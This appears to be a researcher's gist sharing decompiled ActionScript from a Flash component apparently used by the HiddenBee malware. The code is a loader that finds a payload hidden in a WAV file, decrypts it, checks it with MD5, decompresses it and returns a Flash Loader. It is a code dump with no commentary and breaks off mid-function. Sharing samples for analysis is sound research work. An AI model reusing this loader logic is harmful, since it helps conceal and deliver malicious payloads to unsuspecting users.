Skip to content

Instantly share code, notes, and snippets.

@malwarezone
Created July 29, 2019 18:04
Show Gist options
  • Save malwarezone/3aea44e1d4c66821f92b1092461fb815 to your computer and use it in GitHub Desktop.
Save malwarezone/3aea44e1d4c66821f92b1092461fb815 to your computer and use it in GitHub Desktop.
HiddenBee Flash element
package com.google
{
import avm2.intrinsics.memory.li16;
import avm2.intrinsics.memory.li32;
import avm2.intrinsics.memory.li8;
import avm2.intrinsics.memory.si16;
import avm2.intrinsics.memory.si32;
import avm2.intrinsics.memory.si8;
import com.google_2F_var_2F_folders_2F_z4_2F_jk5tsd613ns8hpppmxkv665m0000gn_2F_T_2F__2F_ccuLOwUs_2E_lto_2E_bc_3A_2210E4FB_2D_444B_2D_45E7_2D_8C96_2D_21DD676A1E5C.*;
import flash.display.Loader;
import flash.system.ApplicationDomain;
import flash.system.LoaderContext;
import flash.utils.ByteArray;
public function decode(param1:ByteArray, param2:ByteArray, param3:int, param4:Function) : Loader
{
var _loc28_:* = undefined;
var _loc68_:* = 0;
var _loc49_:int = 0;
var _loc55_:* = 0;
var _loc57_:* = 0;
var _loc61_:* = 0;
var _loc64_:* = 0;
var _loc66_:* = 0;
var _loc59_:* = 0;
var _loc35_:* = 0;
var _loc33_:* = 0;
var _loc48_:* = 0;
var _loc39_:* = 0;
var _loc45_:* = 0;
var _loc47_:* = 0;
var _loc52_:* = 0;
var _loc67_:* = 0;
var _loc6_:* = 0;
var _loc43_:* = 0;
var _loc7_:int = 0;
var _loc18_:* = 0;
var _loc14_:* = 0;
var _loc15_:* = 0;
var _loc10_:int = 0;
var _loc11_:int = 0;
var _loc8_:* = 0;
var _loc17_:* = 0;
var _loc40_:* = 0;
var _loc38_:* = 0;
var _loc65_:* = 0;
var _loc51_:* = 0;
var _loc62_:* = 0;
var _loc46_:* = 0;
var _loc58_:* = 0;
var _loc37_:* = 0;
var _loc56_:* = 0;
var _loc54_:* = 0;
var _loc60_:* = 0;
var _loc50_:* = 0;
var _loc12_:* = 0;
var _loc21_:* = 0;
var _loc20_:* = 0;
var _loc24_:* = 0;
var _loc26_:* = 0;
var _loc25_:* = 0;
var _loc30_:* = 0;
var _loc13_:* = 0;
var _loc22_:* = 0;
var _loc29_:int = 0;
var _loc32_:* = 0;
var _loc31_:* = 0;
var _loc36_:* = 0;
var _loc34_:* = 0;
var _loc19_:* = 0;
var _loc23_:* = 0;
var _loc9_:* = 0;
var _loc5_:* = int(ESP);
_loc68_ = _loc5_;
_loc5_ = int(_loc5_ - 1136);
ESP = _loc5_ & -16;
param1.position = 0;
ESP = _loc5_ & -16;
_loc48_ = int(param1.bytesAvailable);
_loc5_ = int(_loc5_ - 16);
si32(_loc48_,_loc5_);
ESP = _loc5_;
F_malloc();
_loc5_ = int(_loc5_ + 16);
_loc49_ = eax;
ESP = _loc5_ & -16;
CModule.ram.position = 0;
ESP = _loc5_ & -16;
param1.readBytes(CModule.ram,_loc49_,_loc48_);
ESP = _loc5_ & -16;
param2.position = 0;
ESP = _loc5_ & -16;
_loc51_ = int(param2.bytesAvailable);
_loc5_ = int(_loc5_ - 16);
var _loc53_:* = int(_loc51_ + 4);
si32(_loc53_,_loc5_);
ESP = _loc5_;
F_malloc();
_loc5_ = int(_loc5_ + 16);
_loc55_ = int(eax);
si32(_loc51_,_loc55_);
ESP = _loc5_ & -16;
CModule.ram.position = 0;
_loc57_ = int(_loc55_ + 4);
ESP = _loc5_ & -16;
param2.readBytes(CModule.ram,_loc57_,_loc51_);
ESP = _loc5_ & -16;
_loc59_ = param3;
if(uint(_loc48_) >= 77)
{
_loc53_ = li8(_loc49_);
if(_loc53_ == 82)
{
_loc53_ = li8(_loc49_ + 1);
if(_loc53_ == 73)
{
_loc53_ = li8(_loc49_ + 2);
if(_loc53_ == 70)
{
_loc53_ = li8(_loc49_ + 3);
if(_loc53_ == 70)
{
_loc53_ = li32(_loc49_ + 4);
_loc53_ = int(_loc53_ + 8);
if(uint(_loc53_) <= uint(_loc48_))
{
_loc53_ = li8(_loc49_ + 8);
if(_loc53_ == 87)
{
_loc53_ = li8(_loc49_ + 10);
if(_loc53_ == 86)
{
_loc53_ = li8(_loc49_ + 36);
if(_loc53_ == 100)
{
_loc53_ = li8(_loc49_ + 38);
if(_loc53_ == 116)
{
_loc61_ = li32(_loc49_ + 40);
if(uint(_loc61_) < uint(_loc48_))
{
if(uint(_loc61_) >= 33)
{
if(_loc59_ != 1)
{
if(_loc59_ == 0)
{
_loc64_ = li32(_loc55_);
si32(0,_loc68_ - 304);
_loc61_ = int(_loc68_ - 304);
_loc48_ = _loc61_ | 4;
si32(0,_loc48_);
_loc66_ = 256;
_loc35_ = 0;
_loc33_ = _loc66_;
do
{
_loc53_ = int(_loc61_ - _loc33_);
si8(_loc35_,_loc53_ + 264);
_loc35_ = int(_loc35_ + 1);
_loc33_ = int(_loc33_ + -1);
_loc39_ = 0;
_loc37_ = 0;
}
while(_loc33_ != 0);
do
{
if(uint(_loc39_) >= uint(_loc64_))
{
_loc39_ = 0;
}
_loc53_ = int(_loc55_ + _loc39_);
var _loc42_:* = li8(_loc53_ + 4);
_loc53_ = int(_loc61_ - _loc66_);
_loc51_ = li8(_loc53_ + 264);
var _loc41_:* = int(_loc51_ + _loc37_);
_loc41_ = int(_loc41_ + _loc42_);
_loc37_ = _loc41_ & 255;
_loc41_ = int(_loc61_ + _loc37_);
_loc42_ = li8(_loc41_ + 8);
si8(_loc42_,_loc53_ + 264);
si8(_loc51_,_loc41_ + 8);
_loc39_ = int(_loc39_ + 1);
_loc66_ = int(_loc66_ + -1);
}
while(_loc66_ != 0);
_loc35_ = li32(_loc48_);
_loc64_ = 0;
_loc33_ = li32(_loc68_ - 304);
do
{
_loc53_ = int(_loc61_ + 8);
_loc51_ = int(_loc33_ + 1);
_loc33_ = _loc51_ & 255;
_loc51_ = int(_loc53_ + _loc33_);
_loc41_ = li8(_loc51_);
_loc42_ = int(_loc41_ + _loc35_);
_loc35_ = _loc42_ & 255;
var _loc44_:* = int(_loc53_ + _loc35_);
_loc42_ = li8(_loc44_);
si8(_loc42_,_loc51_);
si8(_loc41_,_loc44_);
_loc51_ = int(_loc42_ + _loc41_);
_loc51_ = _loc51_ & 255;
_loc53_ = int(_loc53_ + _loc51_);
_loc53_ = li8(_loc53_);
_loc51_ = int(_loc49_ - _loc64_);
_loc51_ = li8(_loc51_ + 44);
_loc53_ = _loc53_ ^ _loc51_;
_loc51_ = int(_loc68_ - 40);
_loc51_ = int(_loc51_ - _loc64_);
si8(_loc53_,_loc51_);
_loc64_ = int(_loc64_ + -1);
}
while(_loc64_ != -32);
si32(_loc33_,_loc68_ - 304);
si32(_loc35_,_loc48_);
}
}
else
{
_loc5_ = int(_loc5_ - 16);
si32(_loc57_,_loc5_ + 4);
_loc53_ = int(_loc68_ - 440);
si32(_loc53_,_loc5_);
ESP = _loc5_;
F_ECRYPT_keysetup();
_loc5_ = int(_loc5_ + 16);
_loc5_ = int(_loc5_ - 16);
si32(32,_loc5_ + 12);
_loc51_ = int(_loc68_ - 40);
si32(_loc51_,_loc5_ + 8);
si32(int(_loc49_ + 44),_loc5_ + 4);
si32(_loc53_,_loc5_);
ESP = _loc5_;
F_ECRYPT_process_bytes();
_loc5_ = int(_loc5_ + 16);
}
_loc53_ = li32(_loc68_ - 40);
if(_loc53_ == -889275714)
{
_loc53_ = li32(_loc68_ - 32);
if(_loc53_ == 32)
{
if(_loc59_ != 0)
{
if(_loc59_ != 1)
{
_loc53_ = int(_loc68_ - 40);
_loc53_ = _loc53_ | 4;
_loc57_ = li32(_loc53_);
}
else
{
_loc5_ = int(_loc5_ - 16);
si32(_loc57_,_loc5_ + 4);
_loc53_ = int(_loc68_ - 1072);
si32(_loc53_,_loc5_);
ESP = _loc5_;
F_ECRYPT_keysetup();
_loc5_ = int(_loc5_ + 16);
_loc51_ = int(_loc68_ - 40);
_loc51_ = _loc51_ | 4;
_loc57_ = li32(_loc51_);
_loc5_ = int(_loc5_ - 16);
si32(_loc57_,_loc5_ + 12);
_loc51_ = int(_loc49_ + 76);
si32(_loc51_,_loc5_ + 8);
si32(_loc51_,_loc5_ + 4);
si32(_loc53_,_loc5_);
ESP = _loc5_;
F_ECRYPT_process_bytes();
_loc5_ = int(_loc5_ + 16);
}
}
else
{
_loc66_ = li32(_loc55_);
si32(0,_loc68_ - 936);
_loc59_ = int(_loc68_ - 936);
_loc61_ = _loc59_ | 4;
si32(0,_loc61_);
_loc64_ = 256;
_loc57_ = 0;
_loc48_ = _loc64_;
do
{
_loc53_ = int(_loc59_ - _loc48_);
si8(_loc57_,_loc53_ + 264);
_loc57_ = int(_loc57_ + 1);
_loc48_ = int(_loc48_ + -1);
_loc33_ = 0;
_loc35_ = 0;
}
while(_loc48_ != 0);
do
{
if(uint(_loc33_) >= uint(_loc66_))
{
_loc33_ = 0;
}
_loc53_ = int(_loc55_ + _loc33_);
_loc42_ = li8(_loc53_ + 4);
_loc51_ = int(_loc59_ - _loc64_);
_loc53_ = li8(_loc51_ + 264);
_loc41_ = int(_loc53_ + _loc35_);
_loc41_ = int(_loc41_ + _loc42_);
_loc35_ = _loc41_ & 255;
_loc42_ = int(_loc59_ + _loc35_);
_loc41_ = li8(_loc42_ + 8);
si8(_loc41_,_loc51_ + 264);
si8(_loc53_,_loc42_ + 8);
_loc33_ = int(_loc33_ + 1);
_loc64_ = int(_loc64_ + -1);
}
while(_loc64_ != 0);
_loc48_ = li32(_loc61_);
_loc53_ = int(_loc68_ - 40);
_loc53_ = _loc53_ | 4;
_loc57_ = li32(_loc53_);
_loc55_ = li32(_loc68_ - 936);
if(_loc57_ != 0)
{
_loc35_ = int(_loc49_ + 76);
_loc64_ = _loc57_;
do
{
_loc53_ = int(_loc59_ + 8);
_loc51_ = int(_loc55_ + 1);
_loc55_ = _loc51_ & 255;
_loc41_ = int(_loc53_ + _loc55_);
_loc51_ = li8(_loc41_);
_loc42_ = int(_loc51_ + _loc48_);
_loc48_ = _loc42_ & 255;
_loc42_ = int(_loc53_ + _loc48_);
_loc44_ = li8(_loc42_);
si8(_loc44_,_loc41_);
si8(_loc51_,_loc42_);
_loc51_ = int(_loc44_ + _loc51_);
_loc51_ = _loc51_ & 255;
_loc53_ = int(_loc53_ + _loc51_);
_loc51_ = li8(_loc53_);
_loc53_ = li8(_loc35_);
_loc53_ = _loc51_ ^ _loc53_;
si8(_loc53_,_loc35_);
_loc35_ = int(_loc35_ + 1);
_loc64_ = int(_loc64_ + -1);
}
while(_loc64_ != 0);
}
si32(_loc55_,_loc68_ - 936);
si32(_loc48_,_loc61_);
}
_loc59_ = 0;
si32(_loc59_,_loc68_ - 656);
_loc51_ = int(_loc68_ - 656);
_loc53_ = _loc51_ | 4;
si32(_loc59_,_loc53_);
si32(1732584193,_loc68_ - 648);
si32(-271733879,_loc68_ - 644);
si32(-1732584194,_loc68_ - 640);
si32(271733878,_loc68_ - 636);
_loc5_ = int(_loc5_ - 16);
si32(_loc57_,_loc5_ + 8);
_loc43_ = int(_loc49_ + 76);
si32(_loc43_,_loc5_ + 4);
si32(_loc51_,_loc5_);
ESP = _loc5_;
F_md5_update();
_loc5_ = int(_loc5_ + 16);
_loc5_ = int(_loc5_ - 16);
_loc55_ = int(_loc68_ - 672);
si32(_loc55_,_loc5_ + 4);
si32(_loc51_,_loc5_);
ESP = _loc5_;
F_md5_finish();
_loc5_ = int(_loc5_ + 16);
while(true)
{
_loc53_ = int(_loc68_ - 40);
_loc53_ = int(_loc53_ - _loc59_);
_loc53_ = li8(_loc53_ + 16);
_loc51_ = int(_loc55_ - _loc59_);
_loc51_ = li8(_loc51_);
if(_loc51_ == _loc53_)
{
_loc59_ = int(_loc59_ + -1);
if(_loc59_ == -16)
{
_loc5_ = int(_loc5_ - 16);
si32(56,_loc5_ + 8);
si32(0,_loc5_ + 4);
_loc61_ = int(_loc68_ - 1128);
si32(_loc61_,_loc5_);
ESP = _loc5_;
Fmemset();
_loc5_ = int(_loc5_ + 16);
_loc59_ = li32(_loc68_ - 28);
_loc5_ = int(_loc5_ - 16);
si32(_loc59_,_loc5_);
ESP = _loc5_;
F_malloc();
_loc5_ = int(_loc5_ + 16);
_loc55_ = int(eax);
si32(0,_loc68_ - 1104);
_loc64_ = li32(_loc68_ - 1096);
if(_loc64_ == 0)
{
_loc64_ = int(_zcalloc);
si32(_loc64_,_loc68_ - 1096);
si32(0,_loc68_ - 1088);
}
_loc48_ = li32(_loc68_ - 1092);
if(_loc48_ == 0)
{
_loc48_ = int(_zcfree);
si32(_loc48_,_loc68_ - 1092);
}
_loc5_ = int(_loc5_ - 16);
si32(7116,_loc5_ + 8);
si32(1,_loc5_ + 4);
si32(0,_loc5_);
ESP = _loc5_;
ptr2fun[_loc64_]();
_loc5_ = int(_loc5_ + 16);
_loc64_ = int(eax);
if(_loc64_ != 0)
{
si32(_loc64_,_loc68_ - 1100);
si32(0,_loc64_ + 52);
_loc35_ = li32(_loc68_ - 1100);
if(_loc35_ != 0)
{
_loc33_ = li32(_loc35_ + 52);
if(_loc33_ != 0)
{
_loc53_ = li32(_loc35_ + 36);
if(_loc53_ != 15)
{
_loc5_ = int(_loc5_ - 16);
si32(_loc33_,_loc5_ + 4);
si32(0,_loc5_);
ESP = _loc5_;
ptr2fun[_loc48_]();
_loc5_ = int(_loc5_ + 16);
si32(0,_loc35_ + 52);
}
}
si32(2,_loc35_ + 8);
si32(15,_loc35_ + 36);
_loc35_ = li32(_loc68_ - 1100);
if(_loc35_ != 0)
{
si32(0,_loc35_ + 28);
si32(0,_loc68_ - 1108);
si32(0,_loc68_ - 1120);
si32(0,_loc68_ - 1104);
si32(1,_loc68_ - 1080);
si32(0,_loc35_);
si32(0,_loc35_ + 4);
si32(0,_loc35_ + 12);
si32(32768,_loc35_ + 20);
si32(0,_loc35_ + 32);
si32(0,_loc35_ + 40);
si32(0,_loc35_ + 44);
si32(0,_loc35_ + 48);
si32(0,_loc35_ + 56);
si32(0,_loc35_ + 60);
_loc53_ = int(_loc35_ + 1328);
si32(_loc53_,_loc35_ + 108);
si32(_loc53_,_loc35_ + 80);
si32(_loc53_,_loc35_ + 76);
si32(1,_loc35_ + 7104);
si32(-1,_loc35_ + 7108);
si32(_loc43_,_loc68_ - 1128);
_loc35_ = _loc61_ | 4;
si32(_loc57_,_loc35_);
si32(_loc55_,_loc68_ - 1116);
si32(_loc59_,_loc68_ - 1112);
_loc48_ = li32(_loc68_ - 1100);
if(_loc48_ != 0)
{
_loc64_ = -2;
if(_loc55_ != 0)
{
if(_loc43_ == 0)
{
_loc64_ = -2;
if(_loc57_ == 0)
{
}
}
_loc46_ = li32(_loc48_);
if(_loc46_ == 11)
{
_loc46_ = 12;
si32(_loc46_,_loc48_);
}
_loc45_ = int(_loc48_ + 112);
_loc47_ = int(_loc48_ + 752);
_loc33_ = int(_loc48_ + 108);
_loc66_ = int(_loc48_ + 1328);
_loc37_ = int(_loc48_ + 88);
_loc39_ = int(_loc48_ + 84);
_loc52_ = li32(_loc48_ + 60);
_loc50_ = li32(_loc48_ + 56);
_loc64_ = _loc59_;
_loc56_ = _loc59_;
_loc54_ = _loc57_;
_loc60_ = _loc55_;
_loc61_ = 0;
loop7:
while(true)
{
if(_loc46_ <= 15)
{
if(_loc46_ <= 6)
{
if(_loc46_ <= 2)
{
if(_loc46_ != 0)
{
if(_loc46_ != 1)
{
if(_loc46_ != 2)
{
addr9328:
_loc64_ = -2;
}
else
{
addr2552:
while(true)
{
if(uint(_loc52_) >= 32)
{
_loc52_ = li32(_loc48_ + 32);
if(_loc52_ != 0)
{
si32(_loc50_,_loc52_ + 4);
}
_loc53_ = li8(_loc48_ + 17);
_loc53_ = _loc53_ & 2;
if(_loc53_ != 0)
{
si8(_loc50_,_loc68_ - 4);
_loc53_ = int(_loc50_ >>> 8);
si8(_loc53_,_loc68_ - 3);
_loc53_ = int(_loc50_ >>> 16);
si8(_loc53_,_loc68_ - 2);
_loc53_ = int(_loc50_ >>> 24);
si8(_loc53_,_loc68_ - 1);
_loc5_ = int(_loc5_ - 16);
si32(4,_loc5_ + 8);
_loc51_ = int(_loc68_ - 4);
si32(_loc51_,_loc5_ + 4);
si32(li32(_loc48_ + 24),_loc5_);
ESP = _loc5_;
F_crc32();
_loc5_ = int(_loc5_ + 16);
_loc53_ = int(eax);
si32(_loc53_,_loc48_ + 24);
}
si32(3,_loc48_);
_loc52_ = 0;
_loc50_ = _loc52_;
addr2708:
while(true)
{
if(uint(_loc52_) >= 16)
{
_loc52_ = li32(_loc48_ + 32);
if(_loc52_ != 0)
{
_loc53_ = _loc50_ & 255;
si32(_loc53_,_loc52_ + 8);
si32(int(_loc50_ >>> 8),li32(_loc48_ + 32) + 12);
}
_loc53_ = li8(_loc48_ + 17);
_loc53_ = _loc53_ & 2;
if(_loc53_ != 0)
{
si8(_loc50_,_loc68_ - 4);
_loc53_ = int(_loc50_ >>> 8);
si8(_loc53_,_loc68_ - 3);
_loc5_ = int(_loc5_ - 16);
si32(2,_loc5_ + 8);
_loc51_ = int(_loc68_ - 4);
si32(_loc51_,_loc5_ + 4);
si32(li32(_loc48_ + 24),_loc5_);
ESP = _loc5_;
F_crc32();
_loc5_ = int(_loc5_ + 16);
_loc53_ = int(eax);
si32(_loc53_,_loc48_ + 24);
}
si32(4,_loc48_);
_loc52_ = 0;
_loc50_ = _loc52_;
addr2825:
_loc58_ = li32(_loc48_ + 16);
_loc53_ = _loc58_ & 1024;
if(_loc53_ != 0)
{
while(true)
{
if(uint(_loc52_) >= 16)
{
si32(_loc50_,_loc48_ + 64);
_loc52_ = li32(_loc48_ + 32);
if(_loc52_ != 0)
{
si32(_loc50_,_loc52_ + 20);
_loc58_ = li32(_loc48_ + 16);
}
_loc53_ = _loc58_ & 512;
_loc52_ = 0;
_loc58_ = _loc52_;
if(_loc53_ != 0)
{
si8(_loc50_,_loc68_ - 4);
_loc53_ = int(_loc50_ >>> 8);
si8(_loc53_,_loc68_ - 3);
_loc5_ = int(_loc5_ - 16);
si32(2,_loc5_ + 8);
_loc51_ = int(_loc68_ - 4);
si32(_loc51_,_loc5_ + 4);
si32(li32(_loc48_ + 24),_loc5_);
ESP = _loc5_;
F_crc32();
_loc5_ = int(_loc5_ + 16);
_loc53_ = int(eax);
si32(_loc53_,_loc48_ + 24);
_loc52_ = 0;
_loc58_ = _loc52_;
}
}
else
{
_loc65_ = 0;
if(_loc54_ != 0)
{
_loc53_ = li8(_loc43_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc54_ = int(_loc54_ + -1);
_loc43_ = int(_loc43_ + 1);
continue;
}
}
}
}
else
{
_loc65_ = li32(_loc48_ + 32);
_loc58_ = _loc50_;
if(_loc65_ != 0)
{
si32(0,_loc65_ + 16);
_loc58_ = _loc50_;
}
}
si32(5,_loc48_);
}
else
{
_loc65_ = 0;
if(_loc54_ != 0)
{
_loc53_ = li8(_loc43_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc54_ = int(_loc54_ + -1);
_loc43_ = int(_loc43_ + 1);
continue;
}
}
}
}
else
{
_loc65_ = 0;
if(_loc54_ != 0)
{
_loc53_ = li8(_loc43_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc54_ = int(_loc54_ + -1);
_loc43_ = int(_loc43_ + 1);
continue;
}
}
}
}
}
else
{
while(true)
{
if(uint(_loc52_) >= 16)
{
si32(_loc50_,_loc48_ + 16);
_loc53_ = _loc50_ & 255;
if(_loc53_ != 8)
{
si32(29,_loc48_);
continue loop7;
}
_loc53_ = _loc50_ & 57344;
if(_loc53_ != 0)
{
si32(29,_loc48_);
continue loop7;
}
_loc52_ = li32(_loc48_ + 32);
_loc65_ = _loc50_;
if(_loc52_ != 0)
{
_loc53_ = int(_loc50_ >>> 8);
_loc53_ = _loc53_ & 1;
si32(_loc53_,_loc52_);
_loc65_ = li32(_loc48_ + 16);
}
_loc53_ = _loc65_ & 512;
if(_loc53_ != 0)
{
si8(_loc50_,_loc68_ - 4);
_loc53_ = int(_loc50_ >>> 8);
si8(_loc53_,_loc68_ - 3);
_loc5_ = int(_loc5_ - 16);
si32(2,_loc5_ + 8);
_loc51_ = int(_loc68_ - 4);
si32(_loc51_,_loc5_ + 4);
si32(li32(_loc48_ + 24),_loc5_);
ESP = _loc5_;
F_crc32();
_loc5_ = int(_loc5_ + 16);
_loc53_ = int(eax);
si32(_loc53_,_loc48_ + 24);
}
si32(2,_loc48_);
_loc52_ = 0;
_loc50_ = _loc52_;
§§goto(addr2552);
}
else
{
_loc65_ = 0;
if(_loc54_ != 0)
{
_loc53_ = li8(_loc43_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc54_ = int(_loc54_ + -1);
_loc43_ = int(_loc43_ + 1);
continue;
}
}
}
}
}
else
{
_loc58_ = li32(_loc48_ + 8);
if(_loc58_ == 0)
{
si32(12,_loc48_);
}
else
{
while(uint(_loc52_) < 16)
{
_loc65_ = 0;
if(_loc54_ != 0)
{
_loc53_ = li8(_loc43_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc54_ = int(_loc54_ + -1);
_loc43_ = int(_loc43_ + 1);
continue;
}
}
_loc53_ = _loc58_ & 2;
if(_loc53_ != 0)
{
if(_loc50_ == 35615)
{
_loc5_ = int(_loc5_ - 16);
_loc52_ = 0;
si32(_loc52_,_loc5_ + 8);
si32(_loc52_,_loc5_ + 4);
si32(_loc52_,_loc5_);
ESP = _loc5_;
F_crc32();
_loc5_ = int(_loc5_ + 16);
_loc53_ = int(eax);
si32(_loc53_,_loc48_ + 24);
si8(_loc50_,_loc68_ - 4);
_loc53_ = int(_loc50_ >>> 8);
si8(_loc53_,_loc68_ - 3);
_loc5_ = int(_loc5_ - 16);
si32(2,_loc5_ + 8);
_loc53_ = int(_loc68_ - 4);
si32(_loc53_,_loc5_ + 4);
si32(li32(_loc48_ + 24),_loc5_);
ESP = _loc5_;
F_crc32();
_loc5_ = int(_loc5_ + 16);
_loc53_ = int(eax);
si32(_loc53_,_loc48_ + 24);
si32(1,_loc48_);
_loc50_ = _loc52_;
continue;
}
}
si32(0,_loc48_ + 16);
_loc65_ = li32(_loc48_ + 32);
if(_loc65_ != 0)
{
si32(-1,_loc65_ + 48);
_loc58_ = li32(_loc48_ + 8);
}
_loc53_ = _loc58_ & 1;
if(_loc53_ != 0)
{
_loc51_ = _loc50_ << 8;
_loc51_ = _loc51_ & 65280;
_loc53_ = int(_loc51_ + (int(_loc50_ >>> 8)));
_loc53_ = int(uint(_loc53_) % 31);
if(_loc53_ == 0)
{
_loc53_ = _loc50_ & 15;
if(_loc53_ != 8)
{
si32(29,_loc48_);
}
else
{
_loc65_ = li32(_loc48_ + 36);
_loc46_ = int(_loc50_ >>> 4);
_loc53_ = _loc46_ & 15;
_loc58_ = int(_loc53_ + 8);
if(_loc65_ == 0)
{
si32(_loc58_,_loc48_ + 36);
}
else if(uint(_loc65_) < uint(_loc58_))
{
_loc52_ = int(_loc52_ + -4);
si32(29,_loc48_);
_loc50_ = _loc46_;
continue;
}
_loc53_ = 1 << _loc58_;
si32(_loc53_,_loc48_ + 20);
_loc5_ = int(_loc5_ - 16);
_loc52_ = 0;
si32(_loc52_,_loc5_ + 8);
si32(_loc52_,_loc5_ + 4);
si32(_loc52_,_loc5_);
ESP = _loc5_;
F_adler32();
_loc5_ = int(_loc5_ + 16);
_loc53_ = int(eax);
si32(_loc53_,_loc48_ + 24);
si32(_loc53_,_loc68_ - 1080);
_loc53_ = int(_loc50_ >>> 12);
_loc53_ = _loc53_ & 2;
_loc53_ = _loc53_ ^ 11;
si32(_loc53_,_loc48_);
_loc50_ = _loc52_;
}
continue;
}
}
si32(29,_loc48_);
}
continue;
}
}
else if(_loc46_ <= 4)
{
if(_loc46_ != 3)
{
if(_loc46_ != 4)
{
§§goto(addr9328);
}
else
{
§§goto(addr2825);
}
}
else
{
§§goto(addr2708);
}
}
else
{
_loc58_ = _loc50_;
if(_loc46_ != 5)
{
if(_loc46_ != 6)
{
§§goto(addr9328);
}
else
{
_loc46_ = li32(_loc48_ + 16);
}
}
addr3219:
_loc53_ = _loc46_ & 2048;
if(_loc53_ != 0)
{
_loc58_ = 1;
_loc65_ = 0;
if(_loc54_ != 0)
{
while(true)
{
_loc65_ = _loc58_;
_loc53_ = int(_loc43_ + _loc65_);
_loc46_ = li8(_loc53_ - 1);
_loc67_ = li32(_loc48_ + 32);
if(_loc67_ != 0)
{
_loc62_ = li32(_loc67_ + 28);
if(_loc62_ != 0)
{
_loc58_ = li32(_loc48_ + 64);
if(uint(_loc58_) < uint(li32(_loc67_ + 32)))
{
si8(_loc46_,int(_loc62_ + _loc58_));
_loc53_ = int(_loc58_ + 1);
si32(_loc53_,_loc48_ + 64);
}
}
}
_loc58_ = int(_loc65_ + 1);
_loc62_ = _loc46_ & 255;
if(_loc62_ != 0)
{
if(uint(_loc65_) >= uint(_loc54_))
{
break;
}
continue;
}
break;
}
_loc53_ = li8(_loc48_ + 17);
_loc53_ = _loc53_ & 2;
if(_loc53_ != 0)
{
_loc53_ = li32(_loc48_ + 24);
_loc5_ = int(_loc5_ - 16);
si32(int(_loc58_ + -1),_loc5_ + 8);
si32(_loc43_,_loc5_ + 4);
si32(_loc53_,_loc5_);
ESP = _loc5_;
F_crc32();
_loc5_ = int(_loc5_ + 16);
_loc53_ = int(eax);
si32(_loc53_,_loc48_ + 24);
}
_loc46_ = int(_loc43_ + _loc58_);
_loc43_ = int(_loc46_ + -1);
_loc65_ = int(_loc54_ - _loc58_);
_loc54_ = int(_loc65_ + 1);
if(_loc62_ != 0)
{
_loc65_ = int(_loc65_ + 1);
_loc43_ = int(_loc46_ + -1);
}
}
}
else
{
_loc65_ = li32(_loc48_ + 32);
if(_loc65_ != 0)
{
si32(0,_loc65_ + 28);
}
}
si32(0,_loc48_ + 64);
addr3435:
si32(7,_loc48_);
_loc53_ = li8(_loc48_ + 17);
_loc53_ = _loc53_ & 16;
addr3651:
if(_loc53_ != 0)
{
_loc46_ = 1;
_loc65_ = 0;
if(_loc54_ != 0)
{
while(true)
{
_loc65_ = _loc46_;
_loc53_ = int(_loc43_ + _loc65_);
_loc58_ = li8(_loc53_ - 1);
_loc67_ = li32(_loc48_ + 32);
if(_loc67_ != 0)
{
_loc62_ = li32(_loc67_ + 36);
if(_loc62_ != 0)
{
_loc46_ = li32(_loc48_ + 64);
if(uint(_loc46_) < uint(li32(_loc67_ + 40)))
{
si8(_loc58_,int(_loc62_ + _loc46_));
_loc53_ = int(_loc46_ + 1);
si32(_loc53_,_loc48_ + 64);
}
}
}
_loc46_ = int(_loc65_ + 1);
_loc58_ = _loc58_ & 255;
if(_loc58_ != 0)
{
if(uint(_loc65_) >= uint(_loc54_))
{
break;
}
continue;
}
break;
}
_loc53_ = li8(_loc48_ + 17);
_loc53_ = _loc53_ & 2;
if(_loc53_ != 0)
{
_loc53_ = li32(_loc48_ + 24);
_loc5_ = int(_loc5_ - 16);
si32(int(_loc46_ + -1),_loc5_ + 8);
si32(_loc43_,_loc5_ + 4);
si32(_loc53_,_loc5_);
ESP = _loc5_;
F_crc32();
_loc5_ = int(_loc5_ + 16);
_loc53_ = int(eax);
si32(_loc53_,_loc48_ + 24);
}
_loc62_ = int(_loc43_ + _loc46_);
_loc43_ = int(_loc62_ + -1);
_loc65_ = int(_loc54_ - _loc46_);
_loc54_ = int(_loc65_ + 1);
if(_loc58_ != 0)
{
_loc65_ = int(_loc65_ + 1);
_loc43_ = int(_loc62_ + -1);
}
}
}
else
{
_loc65_ = li32(_loc48_ + 32);
if(_loc65_ != 0)
{
si32(0,_loc65_ + 36);
}
}
si32(8,_loc48_);
_loc58_ = li32(_loc48_ + 16);
_loc53_ = _loc58_ & 512;
_loc46_ = _loc52_;
_loc65_ = _loc50_;
if(_loc53_ != 0)
{
while(uint(_loc52_) < 16)
{
_loc65_ = 0;
if(_loc54_ != 0)
{
_loc53_ = li8(_loc43_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc54_ = int(_loc54_ + -1);
_loc43_ = int(_loc43_ + 1);
continue;
}
}
_loc46_ = 0;
_loc65_ = _loc46_;
if(li16(_loc48_ + 24) != _loc50_)
{
si32(29,_loc48_);
continue;
}
}
_loc50_ = li32(_loc48_ + 32);
if(_loc50_ != 0)
{
_loc53_ = int(_loc58_ >>> 9);
_loc53_ = _loc53_ & 1;
si32(_loc53_,_loc50_ + 44);
si32(1,li32(_loc48_ + 32) + 48);
}
_loc5_ = int(_loc5_ - 16);
si32(0,_loc5_ + 8);
si32(0,_loc5_ + 4);
si32(0,_loc5_);
ESP = _loc5_;
F_crc32();
_loc5_ = int(_loc5_ + 16);
_loc53_ = int(eax);
si32(_loc53_,_loc48_ + 24);
si32(_loc53_,_loc68_ - 1080);
si32(11,_loc48_);
_loc52_ = _loc46_;
_loc50_ = _loc65_;
continue;
}
_loc46_ = li32(_loc48_ + 16);
_loc53_ = _loc46_ & 1024;
if(_loc53_ != 0)
{
_loc62_ = li32(_loc48_ + 64);
_loc50_ = _loc54_;
if(uint(_loc62_) <= uint(_loc54_))
{
_loc50_ = _loc62_;
}
if(_loc50_ != 0)
{
_loc65_ = li32(_loc48_ + 32);
if(_loc65_ != 0)
{
